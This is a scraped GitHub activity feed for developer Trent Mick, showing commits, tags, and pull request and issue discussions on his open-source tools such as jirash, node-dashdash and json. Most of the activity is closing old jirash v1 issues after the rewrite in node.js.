profile
viewpoint

trentm/json 1428

A "json" command for massaging JSON on your Unix command line.

trentm/django-markdown-deux 283

**UNMAINTAINED.** A django app that provides Markdown-related template tags using the python-markdown2 library.

joyent/restdown 202

Pretty REST API docs authored in Markdown

trentm/jirash 77

CLI and (light) shell for Jira

trentm/cmdln 51

**UNMAINTAINED** a Python module for easily building good multi-command scripts

trentm/googlecode2github 23

Helper scripts and docs for moving a project from Google Code project hosting to Github

trentm/eol 17

a command-line script and Python module for working with text file end-of-line (EOL) characters

hplgit/preprocess 13

C/C++ preprocessor-like tool for a range of languages (i.e., #ifdef, #ifndef, #if-else, #include, etc. for Python, LaTeX, Bash, JavaScript, "whatever").

trentm/hello-json-logging 13

An introduction to restify + bunyan for JSON logging in node.js API services.

trentm/molybdenum 12

A git repo browser (for when your git repos aren't on GitHub)

PR closed trentm/json

restore old -c/-e functionality regarding implict "this"

needs some testing still, but it works

object

$ echo '{"green": "eggs"}' | ./lib/json.js -e 'green="ham"'
{
  "green": "ham"
}

array

$ echo '[{"name": "dave"}, {"name": "trent"}]' | ./lib/json.js -ac 'name === "dave"'
{
  "name": "dave"
}
+3 -2

6 comments

1 changed file

bahamas10

pr closed time in 3 days

pull request commenttrentm/json

restore old -c/-e functionality regarding implict "this"

At this point I'm not sure it is helpful to have a bridge third way to handle -e CODE, -c CODE.

bahamas10

comment created time in 3 days

created tagtrentm/node-csvrow

tagv1.0.0

parse a CSV row string (in node.js)

created time in 3 days

push eventtrentm/node-csvrow

Trent Mick

commit sha 8bcfc4f8fdeefc6e5b6acd57b63a72fc9dc16186

put format import at top; also don't need that ancient 'use already in global scope format' from node.js days of yore

view details

push time in 3 days

push eventtrentm/node-csvrow

Trent Mick

commit sha a3509374c4c552122c45d0ac889222c047f8b8bd

1.0.0 (modernization: min node supported is v10; eslint and prettier; simplify Makefile)

view details

Trent Mick

commit sha ee0d0c37e64ae20509d2ceb16fc5a535aa3b4ffa

make fmt

view details

push time in 3 days

push eventtrentm/node-csvrow

Edwin Shao

commit sha 70b74494d709a47af69d5d3d8e36cd4b2b50b77a

0.2.0; fix 'format' usage; add option to

view details

push time in 3 days

PR merged trentm/node-csvrow

Option to specify delimiter
  • Option to specify delimiter: tested with \t as delimiter.
  • Fixed inability to find 'format' in node
  • Bump version to 0.2.0.
+17 -15

2 comments

3 changed files

eshao

pr closed time in 3 days

pull request commenttrentm/node-csvrow

Option to specify delimiter

🤦 Sorry it has been years. I assume y'all have moved on, but I'll take this. Thanks much for the fixes.

eshao

comment created time in 3 days

issue closedtrentm/node-dashdash

Allow option combinations, example given

Say we are replicating some of the functionality of the find unix command:

dashfind  --match foo
dashfind -m foo  # shorthand for the above

this will match all files and directories that have 'foo' in their path. But what if we only want to match files that have 'foo' but match all directories?

so that could be:

dashfind --file-match foo

and then for dirs we could have:

dashfind --dir-match foo

but what if there were option combinations, like so:

  {
    names: ['match', 'm'],
    type: 'arrayOfObject',
    help: 'Files must match at least one of these.',
    default: [] as Array<string>
  },

and that would be:

[{
  "match": "foo",
  "file": true
},
{
  "match": "stew",
  "dir": true
},
{
  "dir": true,
  "file": true,
  "match":"bar"
}]

the above array might be given by:

dashfind -mdf bar -fm foo -dm foo

closed time in 3 days

ORESoftware

issue commenttrentm/node-dashdash

Allow option combinations, example given

I agree with @karfau, I don't want to add something like this.

ORESoftware

comment created time in 3 days

issue closedtrentm/node-dashdash

Parsing error.

Hello. when I use the library it give me the following error:

const opts = dashdash.parse({options: options}); ^ TypeError: Cannot read property 'parse' of undefined at Object.<anonymous> (C:\Users\Hossein\Documents\Automate_Marketing\examples\FirstExperiment.ts:30:23) at Module._compile (internal/modules/cjs/loader.js:1156:30) at Module.m._compile (C:\Users\Hossein\AppData\Roaming\npm\node_modules\ts-node\src\index.ts:836:23) at Module._extensions..js (internal/modules/cjs/loader.js:1176:10) at Object.require.extensions.<computed> [as .ts] (C:\Users\Hossein\AppData\Roaming\npm\node_modules\ts-node\src\index.ts:839:12) at Module.load (internal/modules/cjs/loader.js:1000:32) at Function.Module._load (internal/modules/cjs/loader.js:899:14) at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:74:12) at main (C:\Users\Hossein\AppData\Roaming\npm\node_modules\ts-node\src\bin.ts:226:14) at Object.<anonymous> (C:\Users\Hossein\AppData\Roaming\npm\node_modules\ts-node\src\bin.ts:485:3) at Module._compile (internal/modules/cjs/loader.js:1156:30) at Object.Module._extensions..js (internal/modules/cjs/loader.js:1176:10) at Module.load (internal/modules/cjs/loader.js:1000:32) at Function.Module._load (internal/modules/cjs/loader.js:899:14) at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:74:12) at internal/main/run_main_module.js:18:47

I use the library successfully before. what is the problem?

closed time in 3 days

hshahbodaghkhan

issue commenttrentm/node-dashdash

Parsing error.

We'd need to see some or all of FirstExperiment.ts to attempt to help. It is possible this has issues with commonjs modules and/or TypeScript usage. I haven't worked with those much.

hshahbodaghkhan

comment created time in 3 days

created tagtrentm/node-dashdash

tagv2.0.0

A light, featureful and explicit option parsing library for node.js.

created time in 3 days

push eventtrentm/node-dashdash

Trent Mick

commit sha 3cc3b7edd4ea11c8eddc6f1a9d2983b2184f7fb6

cutarelease: 'v' prefix on tags

view details

push time in 3 days

push eventtrentm/node-dashdash

Trent Mick

commit sha 86616c0940a461b706daee3d4a8d23a9d60a5401

regen package-lock to get around vuln in lodash 4.17.15 (transitive dep) See #55

view details

Trent Mick

commit sha d73e869eccc1cc9999cc9ebb24ba48c86e5d9814

TODO notes updates

view details

Trent Mick

commit sha 116ab3585753bd74aa624b4889c88746c7ed06a3

this file just gets out of date, looking at the commits and GH's UI for 'contributors' is better

view details

push time in 3 days

issue closedtrentm/node-dashdash

deal with accidental em-dash

Presumably would need an option to turn this off/on. Major ver bump if default is to check for em-dashes.

The problem is that cut 'n paste in certain contexts (e.g. IM clients) will change "--foo" into "—foo" and the option processing will be a surprise. Would be nice to deal with this somehow.

An idea: Add a new "emdash" option to the dashdash parser with values: "error", "treat as --", "ignore" (pick better names for these).

closed time in 3 days

trentm

issue commenttrentm/node-dashdash

deal with accidental em-dash

I'm calling YAGNI.

trentm

comment created time in 3 days

push eventtrentm/jirash

Trent Mick

commit sha be09c3fba94189dc300f478b893d60b871b92368

*should* only need github CI actions on pushes and PRs against 'master'

view details

push time in 3 days

created tagtrentm/jirash

tagv2.11.0

CLI and (light) shell for Jira

created time in 3 days

push eventtrentm/jirash

Trent Mick

commit sha b12c4c6d5a264f6219ef82b4e17f08e40be3bb0e

v2.11.0; also add GitHub actions to 'check' commits/PRs

view details

push time in 3 days

delete branch trentm/template-node-package

delete branch : fix-2-github-actions

delete time in 3 days

push eventtrentm/template-node-package

Trent Mick

commit sha d333db00b3a4b0d01e78b06baf136fab856e66dc

add node.js CI github actions: check, test on all plats and all vers (#8) Fixes #2

view details

push time in 3 days

issue closedtrentm/template-node-package

grok and consider CI github actions

https://github.blog/2019-08-08-github-actions-now-supports-ci-cd/

closed time in 3 days

trentm

create barnchtrentm/template-node-package

branch : fix-2-github-actions

created branch time in 3 days

pull request commenttrentm/template-node-package

Bump yargs-parser from 13.1.1 to 13.1.2

@dependabot rebase

dependabot[bot]

comment created time in 3 days

push eventtrentm/template-node-package

Trent Mick

commit sha f902a6de475d7ee565afc4eeca91df7a8dc9abff

no longer have test.tap being created

view details

push time in 3 days

push eventtrentm/jirash

Trent Mick

commit sha 8f9830f4ddd556c761f785df2dd71c99b3cb19c6

integrate prettier formatting with eslint; update formatting a little bit

view details

push time in 3 days

push eventtrentm/jirash

Trent Mick

commit sha 9dfbfd4fb4f8bc821eb36656911fc30a89a50c6e

jirashell.py has been obsolete since jirash v2 release in 2017

view details

push time in 3 days

issue closedtrentm/jirash

update_filter bug

Annotation 2020-04-02 142741

Issue after creating a filter, if the description is 'None' or is blank, when you go to update the filter it will break. Located on line 956 I believe, it does not allow for a pass through of 'None' into the update filter. Work around is currently to have the same description for both and not leaving it blank.

closed time in 3 days

vtrevor

issue commenttrentm/jirash

update_filter bug

@vtrevor Did you get this recently using jirash v2? jirash v2 (first released 2017-11-10) was re-written in node.js.

In fact, AFAICT my repo has never had a "create_filter" function. Is this from some fork of jirash?

vtrevor

comment created time in 3 days

issue closedtrentm/jirash

".jirash.json" should be created with mode 0600

I used the interactive setup for jirash, and it created a file in my home directory:

jclulow@jmcbook ~ $ ls -lh ~/.jirash.json
-rw-r--r--  1 jclulow  staff   153B Jun 18 13:51 /Users/jclulow/.jirash.json

It would be best, seeing as this file contains sensitive information, if it was created with mode 0600.

closed time in 3 days

jclulow

issue commenttrentm/jirash

".jirash.json" should be created with mode 0600

Hi Josh.

jirash v2 (first released 2017-11-10) was re-written in node.js. This issue is for jirash v1, which is no longer supported so I'm closing this as "won't fix". FWIW jirash v2 dropped the interactive setup of the config file ... for a lazy mention in the readme that one must first create the config file.

jclulow

comment created time in 3 days

issue closedtrentm/jirash

Failures With Listing Issues: "ExpatError: reference to invalid character number"

Hi Trent,

Hitting this failure when trying to list out issues - the full run with both the numeric filter ID and the actual filter name are below.

Jay

 jschmidt@scrat  ~/repos/jirash/bin   master  ./jirash issues -f 10938

Traceback (most recent call last):
  File "/Users/jschmidt/repos/jirash/lib/jirashell.py", line 1297, in <module>
    retval = main(sys.argv)
  File "/Users/jschmidt/repos/jirash/lib/jirashell.py", line 1292, in main
    return shell.main(argv, loop=cmdln.LOOP_IF_EMPTY)
  File "/Users/jschmidt/repos/jirash/lib/cmdln.py", line 259, in main
    return self.cmd(args)
  File "/Users/jschmidt/repos/jirash/lib/cmdln.py", line 277, in cmd
    retval = self.onecmd(argv)
  File "/Users/jschmidt/repos/jirash/lib/cmdln.py", line 412, in onecmd
    return self._dispatch_cmd(handler, argv)
  File "/Users/jschmidt/repos/jirash/lib/cmdln.py", line 1115, in _dispatch_cmd
    return handler(argv[0], opts, *args)
  File "/Users/jschmidt/repos/jirash/lib/jirashell.py", line 721, in do_issues
    issues = self.jira.issues_from_filter(opts.filter)
  File "/Users/jschmidt/repos/jirash/lib/jirashell.py", line 278, in issues_from_filter
    return self.server.jira1.getIssuesFromFilter(self.auth, filterObj["id"])
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1240, in __call__
    return self.__send(self.__name, args)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1599, in __request
    verbose=self.__verbose
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1280, in request
    return self.single_request(host, handler, request_body, verbose)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1313, in single_request
    return self.parse_response(response)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1484, in parse_response
    p.feed(data)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 558, in feed
    self._parser.Parse(data, 0)
ExpatError: reference to invalid character number: line 1771, column 0

Python: 2.7.10 (default, Aug 22 2015, 20:33:39)
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.1)]
OS: Darwin-15.0.0-x86_64-i386-64bit

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* If this is obviously not user error, please log a bug at  *
*    https://github.com/trentm/jirash/issues                *
* to report this error. Thanks!                             *
* -- Trent                                                  *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 ✘ jschmidt@scrat  ~/repos/jirash/bin   master 
 ✘ jschmidt@scrat  ~/repos/jirash/bin   master  ./jirash issues -f "On-Prem Issues"

Traceback (most recent call last):
  File "/Users/jschmidt/repos/jirash/lib/jirashell.py", line 1297, in <module>
    retval = main(sys.argv)
  File "/Users/jschmidt/repos/jirash/lib/jirashell.py", line 1292, in main
    return shell.main(argv, loop=cmdln.LOOP_IF_EMPTY)
  File "/Users/jschmidt/repos/jirash/lib/cmdln.py", line 259, in main
    return self.cmd(args)
  File "/Users/jschmidt/repos/jirash/lib/cmdln.py", line 277, in cmd
    retval = self.onecmd(argv)
  File "/Users/jschmidt/repos/jirash/lib/cmdln.py", line 412, in onecmd
    return self._dispatch_cmd(handler, argv)
  File "/Users/jschmidt/repos/jirash/lib/cmdln.py", line 1115, in _dispatch_cmd
    return handler(argv[0], opts, *args)
  File "/Users/jschmidt/repos/jirash/lib/jirashell.py", line 721, in do_issues
    issues = self.jira.issues_from_filter(opts.filter)
  File "/Users/jschmidt/repos/jirash/lib/jirashell.py", line 278, in issues_from_filter
    return self.server.jira1.getIssuesFromFilter(self.auth, filterObj["id"])
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1240, in __call__
    return self.__send(self.__name, args)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1599, in __request
    verbose=self.__verbose
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1280, in request
    return self.single_request(host, handler, request_body, verbose)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1313, in single_request
    return self.parse_response(response)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1484, in parse_response
    p.feed(data)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 558, in feed
    self._parser.Parse(data, 0)
ExpatError: reference to invalid character number: line 1771, column 0

Python: 2.7.10 (default, Aug 22 2015, 20:33:39)
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.1)]
OS: Darwin-15.0.0-x86_64-i386-64bit

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* If this is obviously not user error, please log a bug at  *
*    https://github.com/trentm/jirash/issues                *
* to report this error. Thanks!                             *
* -- Trent                                                  *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

closed time in 3 days

qdzlug

issue commenttrentm/jirash

Failures With Listing Issues: "ExpatError: reference to invalid character number"

jirash v2 (first released 2017-11-10) was re-written in node.js. This issue is for jirash v1, which is no longer supported so I'm closing this as "won't fix".

qdzlug

comment created time in 3 days

issue commenttrentm/jirash

Update issue in jira

Sorry for not having responded earlier. This currently isn't implemented. I'd be happy for someone else to do so via a PR. Note that jirash v2 since has re-written jirash in node.js.

chiel1980

comment created time in 3 days

issue closedtrentm/jirash

Support JIRA 7.0+ and JIRA Cloud

I know this is a heavy lift, but Atlassian deprecated the SOAP and XML RPC API in JIRA 6, and removed it in JIRA 7 and JIRA Cloud.

https://developer.atlassian.com/jiradev/latest-updates/soap-and-xml-rpc-api-deprecation-notice

It would be great to update this to support the newer JIRA REST APIs.

This is a migration guide provided by Atlassian: https://developer.atlassian.com/jiradev/latest-updates/soap-and-xml-rpc-api-deprecation-notice/jira-soap-to-rest-migration-guide

closed time in 3 days

kevinschumacher

issue commenttrentm/jirash

Support JIRA 7.0+ and JIRA Cloud

I'm closing because this is so old now. jirash v2 (first released 2017-11-10) should, I think. jirash v2 works against the Jira v8.7.1 we use at my work.

kevinschumacher

comment created time in 3 days

issue commenttrentm/jirash

Support the default filters from Jira

The "unknown option" is option processing trying to handle the "-1". You can use "--" to end option processing:

% jirash issue ls -- -1
jirash issue ls: error: no favourite filter names match "-1"

However, obviously still doesn't do what you want. TIL I learned about the "default" Jira filters with IDs -1 and -2 (at least). I don't know how per-Jira-instance configurable those are.

It would be nice if jirash filter list also discovered and listed those, and if jirash issue ls FILTER handled those, are you are requesting here.

I won't have time to do this myself right now, but PRs are welcome.

jemershaw

comment created time in 3 days

issue closedtrentm/jirash

Get Description of a Ticket

This is not a bug but a feature request:

When you do:

[drende@lem ~]$ jirash issue MYPROJ-81 MYPROJ-81: This is a test ticket (deniz -> john doe, Elevated, Open)

which is fine, but could we also get the description of the same ticket? That would be the first comments made when opening tickets.

closed time in 3 days

ubersol

issue commenttrentm/jirash

Get Description of a Ticket

Fair enough. PR and/or proposal are welcome. I won't have time to impl this myself.

ubersol

comment created time in 3 days

issue closedtrentm/jirash

createissue: support additional fields

When trying to create an issue with our JIRA, I get the following error:

Traceback (most recent call last): ... Fault: <Fault 0: 'java.lang.Exception: com.atlassian.jira.rpc.exception.RemoteValidationException: {customfield_10620=QA status is required.} : []'>

It would be nice if one could specify values for arbitrary fields, e.g. -f "QA status: Test case exists"

closed time in 3 days

zenogantner

issue commenttrentm/jirash

createissue: support additional fields

I think like the feature idea, but (a) this is really old now and (b) I won't have time to implement this myself, so I'm closing this. If someone is willing, then I'd look at a PR.

zenogantner

comment created time in 3 days

issue closedtrentm/jirash

Blow up on search on a non-existant Project

[2013-106-10:57:32] [~] carlos@Lrrr:% jirash issues -p IMAGES ubuntu

Traceback (most recent call last): File "/Users/carlos/working/gh-public/jirash/lib/jirashell.py", line 1006, in <module> retval = main(sys.argv) File "/Users/carlos/working/gh-public/jirash/lib/jirashell.py", line 1001, in main return shell.main(argv, loop=cmdln.LOOP_IF_EMPTY) File "/Users/carlos/working/gh-public/jirash/lib/cmdln.py", line 259, in main return self.cmd(args) File "/Users/carlos/working/gh-public/jirash/lib/cmdln.py", line 277, in cmd retval = self.onecmd(argv) File "/Users/carlos/working/gh-public/jirash/lib/cmdln.py", line 412, in onecmd return self._dispatch_cmd(handler, argv) File "/Users/carlos/working/gh-public/jirash/lib/cmdln.py", line 1115, in _dispatch_cmd return handler(argv[0], opts, *args) File "/Users/carlos/working/gh-public/jirash/lib/jirashell.py", line 635, in do_issues project_keys=opts.project_keys) File "/Users/carlos/working/gh-public/jirash/lib/jirashell.py", line 232, in issues_from_search self.auth, project_keys, terms, BIG) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1224, in call return self.__send(self.__name, args) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1575, in __request verbose=self.__verbose File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1264, in request return self.single_request(host, handler, request_body, verbose) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1297, in single_request return self.parse_response(response) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1473, in parse_response return u.close() File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 793, in close raise Fault(**self._stack[0]) Fault: <Fault 0: 'java.lang.Exception: java.lang.NullPointerException'>

Python: 2.7.2 (default, Oct 11 2012, 20:14:37) [GCC 4.2.1 Compatible Apple Clang 4.0 (tags/Apple/clang-418.0.60)] OS: ('Darwin', 'Lrrr.local', '12.3.0', 'Darwin Kernel Version 12.3.0: Sun Jan 6 22:37:10 PST 2013; root:xnu-2050.22.13~1/RELEASE_X86_64', 'x86_64')

closed time in 3 days

cobracmder

issue commenttrentm/jirash

Blow up on search on a non-existant Project

jirash v2 (first released 2017-11-10) was re-written in node.js. This issue is for jirash v1, which is no longer supported so I'm closing this as "won't fix".

cobracmder

comment created time in 3 days

issue closedtrentm/jirash

jirash blew up: expired session from long 'jirash>' shell

()
Traceback (most recent call last):
  File "/Users/mark/jirash/lib/jirashell.py", line 986, in <module>
    retval = main(sys.argv)
  File "/Users/mark/jirash/lib/jirashell.py", line 981, in main
    return shell.main(argv, loop=cmdln.LOOP_IF_EMPTY)
  File "/Users/mark/jirash/lib/cmdln.py", line 261, in main
    return self.cmdloop()
  File "/Users/mark/jirash/lib/cmdln.py", line 348, in cmdloop
    retval = self.onecmd(argv)
  File "/Users/mark/jirash/lib/cmdln.py", line 412, in onecmd
    return self._dispatch_cmd(handler, argv)
  File "/Users/mark/jirash/lib/cmdln.py", line 1115, in _dispatch_cmd
    return handler(argv[0], opts, *args)
  File "/Users/mark/jirash/lib/jirashell.py", line 781, in do_createissue
    issue = self.jira.create_issue(data)
  File "/Users/mark/jirash/lib/jirashell.py", line 387, in create_issue
    return self.server.jira1.createIssue(self.auth, data)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1224, in __call__
    return self.__send(self.__name, args)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1570, in __request
    verbose=self.__verbose
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1264, in request
    return self.single_request(host, handler, request_body, verbose)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1297, in single_request
    return self.parse_response(response)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 1468, in parse_response
    return u.close()
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/xmlrpclib.py", line 793, in close
    raise Fault(**self._stack[0])
Fault: <Fault 0: 'java.lang.Exception: com.atlassian.jira.rpc.exception.RemoteAuthenticationException: User not authenticated yet, or session timed out.'>

Python: 2.7.1 (r271:86832, Jul 31 2011, 19:30:53) 
[GCC 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2335.15.00)]
OS: ('Darwin', 'bluesnoop', '11.4.0', 'Darwin Kernel Version 11.4.0: Mon Apr  9 19:32:15 PDT 2012; root:xnu-1699.26.8~1/RELEASE_X86_64', 'x86_64')

* * * * * * * * * * * * * * * * * * * * * * * *
* Please log a bug at                         *
*    https://github.com/trentm/jirash/issues  *
* to report this error. Thanks!               *
* -- Trent                                    *
* * * * * * * * * * * * * * * * * * * * * * * *

closed time in 3 days

mcavage

issue commenttrentm/jirash

jirash blew up: expired session from long 'jirash>' shell

jirash v2 (first released 2017-11-10) was re-written in node.js. This issue is for jirash v1, which is no longer supported so I'm closing this as "won't fix".

mcavage

comment created time in 3 days

issue closedtrentm/jirash

Support having JIRA behind HTTP Authentication

Can you add support for authenticating to a JIRA instance behind HTTP auth and support for username/password matching the jira credentials vs other credentials.

closed time in 3 days

jacques

issue commenttrentm/jirash

Support having JIRA behind HTTP Authentication

jirash v2 (first released 2017-11-10) was re-written in node.js. This issue is for jirash v1, which is no longer supported so I'm closing this as "won't fix".

jacques

comment created time in 3 days

issue closedtrentm/jirash

jirash blows up when resolving a ticket that's already resolved.

jirash resolve OS-1670
()
Traceback (most recent call last):
 File "/home/mcavage/work/jirash/lib/jirashell.py", line 986, in <module>
   retval = main(sys.argv)
 File "/home/mcavage/work/jirash/lib/jirashell.py", line 981, in main
   return shell.main(argv, loop=cmdln.LOOP_IF_EMPTY)
 File "/home/mcavage/work/jirash/lib/cmdln.py", line 259, in main
   return self.cmd(args)
 File "/home/mcavage/work/jirash/lib/cmdln.py", line 277, in cmd
   retval = self.onecmd(argv)
 File "/home/mcavage/work/jirash/lib/cmdln.py", line 412, in onecmd
   return self._dispatch_cmd(handler, argv)
 File "/home/mcavage/work/jirash/lib/cmdln.py", line 1115, in _dispatch_cmd
   return handler(argv[0], opts, *args)
 File "/home/mcavage/work/jirash/lib/jirashell.py", line 809, in do_resolve
   self.jira.resolve(key)
 File "/home/mcavage/work/jirash/lib/jirashell.py", line 358, in resolve
   res = self._jira_soap_call("progressWorkflowAction", [key, "5"])
 File "/home/mcavage/work/jirash/lib/jirashell.py", line 97, in _jira_soap_call
   out = getattr(server, methodName)(*authedArgs)
 File "/home/mcavage/work/jirash/deps/SOAPpy/Client.py", line 540, in __call__
   return self.__r_call(*args, **kw)
 File "/home/mcavage/work/jirash/deps/SOAPpy/Client.py", line 562, in __r_call
   self.__hd, self.__ma)
 File "/home/mcavage/work/jirash/deps/SOAPpy/Client.py", line 475, in __call
   raise p
faultType: <Fault soapenv:Server.userException: com.atlassian.jira.rpc.exception.RemoteException: Error occurred when running workflow action Resolve Issue: 
Errors: {}
Error Messages: [Action 5 is invalid]: <SOAPpy.Types.structType detail at 150378284>: {'hostname': 'devhub', 'com.atlassian.jira.rpc.exception.RemoteException': ''}>

Python: 2.7.2 (default, Mar 23 2012, 13:45:04) 
[GCC 4.6.2]
OS: ('SunOS', 'martin', '5.11', 'joyent_20120921T180038Z', 'i86pc')

* * * * * * * * * * * * * * * * * * * * * * * *
* Please log a bug at                         *
*    https://github.com/trentm/jirash/issues  *
* to report this error. Thanks!               *
* -- Trent                                    *
* * * * * * * * * * * * * * * * * * * * * * * *

closed time in 3 days

mcavage

issue commenttrentm/jirash

jirash blows up when resolving a ticket that's already resolved.

jirash v2 (first released 2017-11-10) was re-written in node.js. This issue is for jirash v1, which is no longer supported so I'm closing this as "won't fix".

mcavage

comment created time in 3 days

PR closed trentm/jirash

feat: allow connection to self certified SSL HTTPS servers

Preface

Many times organizations use internal jira servers which are secured by configuring https access with a "self-signed" (or otherwise not publicly verifiable) SSL certificate.

Currently, an exception is raised when issuing a command to such a server.

This Pull-Request's main intent is to allow the user to set options which customize SSL behavior; preferably by passing SSLContext where possible (requests does not yet support it as of now, see issue kennethreitz/requests#2118).

Change Details

  • passed directly to xmlrpclib.ServerProxy constructor
  • requests only has partial support; verify bool option is passed
  • SOAPpy: no change -> strangely works without raising SSLError
+27 -6

1 comment

1 changed file

asfaltboy

pr closed time in 3 days

pull request commenttrentm/jirash

feat: allow connection to self certified SSL HTTPS servers

@asfaltboy As with #23, sorry about this. Obviously this PR is ancient now. In the meantime jirash was re-written in node.js. lib/jirashell.py is dead code that I'm going to remove.

asfaltboy

comment created time in 3 days

PR closed trentm/jirash

feat: add issue transition fetch/set functionality

This will allow querying for the valid workflow states/transitions on an issue and to change it (while updating fields).

Eventually resolve should probably move to use this method.

+118 -0

1 comment

1 changed file

asfaltboy

pr closed time in 3 days

pull request commenttrentm/jirash

feat: add issue transition fetch/set functionality

@asfaltboy As with #23, sorry about this. Obviously this PR is ancient now. In the meantime jirash was re-written in node.js. lib/jirashell.py is dead code that I'm going to remove.

asfaltboy

comment created time in 3 days

PR closed trentm/jirash

Add a couple more useful features (at least for me)

New commands

  • relations - show all external project links for a given project/version
  • changelog - generate a simple text list of issues for project/version grouped by type
  • release_notes - generates a rich issues list (markdown formatted) for a given project (or all) released on a specified date
  • latestrelease - get the latest version released for all projects (with link to release notes)

Other changes

  • support both REST/RPC versions of calls where applicable (REST form is more detailed and is required for some of the new commands above)
  • new option --timelog to issue command (see total time spent "In Progres")
  • new option --long to issue command (displays description)
  • new option --version to issues command (display only issues for specified fixVersion)
  • new column RELEASE DATE in versions command
  • new column ID in projects command

To do / things not working

  • [x] Update work-log when transitioning issue (--time)

Hey @trentm I seem to have used my own master tree which includes both of my other Pull-Requests, would you have me separate the tree or will you consider merging them all?

+500 -37

1 comment

1 changed file

asfaltboy

pr closed time in 3 days

pull request commenttrentm/jirash

Add a couple more useful features (at least for me)

@asfaltboy Sorry about this. Obviously this PR is ancient now. In the meantime jirash was re-written in node.js. lib/jirashell.py is dead code that I'm going to remove.

asfaltboy

comment created time in 3 days

pull request commenttrentm/jirash

Fixing list issue when a user was removed from jira the wrong way

Looks like this got in in https://github.com/trentm/jirash/commit/2c29a9e97fb6a2eb108772a2b8f96775909964b4

jemershaw

comment created time in 3 days

push eventtrentm/jirash

Trent Mick

commit sha 68403bd8620a990e3b2a784945a70ba754adb95d

eslint config file syntax fix

view details

push time in 3 days

push eventtrentm/template-node-package

Trent Mick

commit sha 5403cacaa0bee2243e5c3aba691e2cfddf80c94a

eslint, prettier: bump deps, drop 'joyent' plugin; bump min node to v10; add npm scripts and simplify the Makefile a lot (though dropping 'testall' target)

view details

push time in 3 days

push eventtrentm/jirash

Trent Mick

commit sha 670f8272eb1637a36e4259c37225c300fa80e49f

bump restify-clients dep (fixes a few 'npm audit' issues)

view details

push time in 3 days

push eventtrentm/jirash

Trent Mick

commit sha 814d3d6706012bf7bb93cf5eb08a6e8cf945d89d

bump prettier to v2 (no resulting formatting changes)

view details

push time in 3 days

push eventtrentm/jirash

Trent Mick

commit sha 9e261e3d4e192171dd818f93b32828b154cd0395

eslint: drop joyent plugin, update to eslint 7, fix 'make check'

view details

push time in 3 days

issue commenttrentm/template-node-package

consider lint rules from node-eslint-plugin-joyent

I'm also curious if (and how much) stricter or looser JS "standard" lint rules are than eslint:recommended.

trentm

comment created time in 3 days

issue openedtrentm/template-node-package

consider lint rules from node-eslint-plugin-joyent

Now that I've dropped using eslint-plugin-joyent usage, it would worthwhile to work through the lint rules there to add to my local personal set in .eslintrc.json. See: https://github.com/joyent/node-eslint-plugin-joyent/blob/master/lib/config/lint.js

For example the "no-unused-vars" there was thought out from some Joyent strictness and experience.

created time in 3 days

push eventtrentm/dotfiles

Trent Mick

commit sha 04402938d4907c131db2f11fbf7d890e4d7a40be

completion for 'gh' GitHub CLI tool

view details

Trent Mick

commit sha e7bb1c03fb5b7c7bdd281001be8b4c645f974743

vim yank to system clipboard by default

view details

Trent Mick

commit sha fd5de365753056b4b37d3dcb89b115fad4d8cfbd

v: fix buglet with https remote clone URL

view details

Trent Mick

commit sha e5cda1317c14ca7289542c46d5738a487acce147

vscode config: I don't like the preview panes

view details

Trent Mick

commit sha 061a816856396537967f080c06129bd3e670b5c4

use brew's ruby (2.7.x currently) on mac; zshrc tweak for kill-word style

view details

push time in 4 days

issue closedtrentm/cutarelease

check that the version matches in all given version files (-f)

This should obviate the need for my typical "versioncheck" makefile targets (see node-bunyan and json projects).

closed time in 4 days

trentm

issue commenttrentm/cutarelease

check that the version matches in all given version files (-f)

This repo is in maint mode. I'm not going to do new work.

Note that bunyan and json no longer use this script for cutting releases. Instead they use some shell in a Makefile target.

trentm

comment created time in 4 days

issue closedtrentm/cutarelease

make "cutarelease" work for "1.0.0-rc2" version string

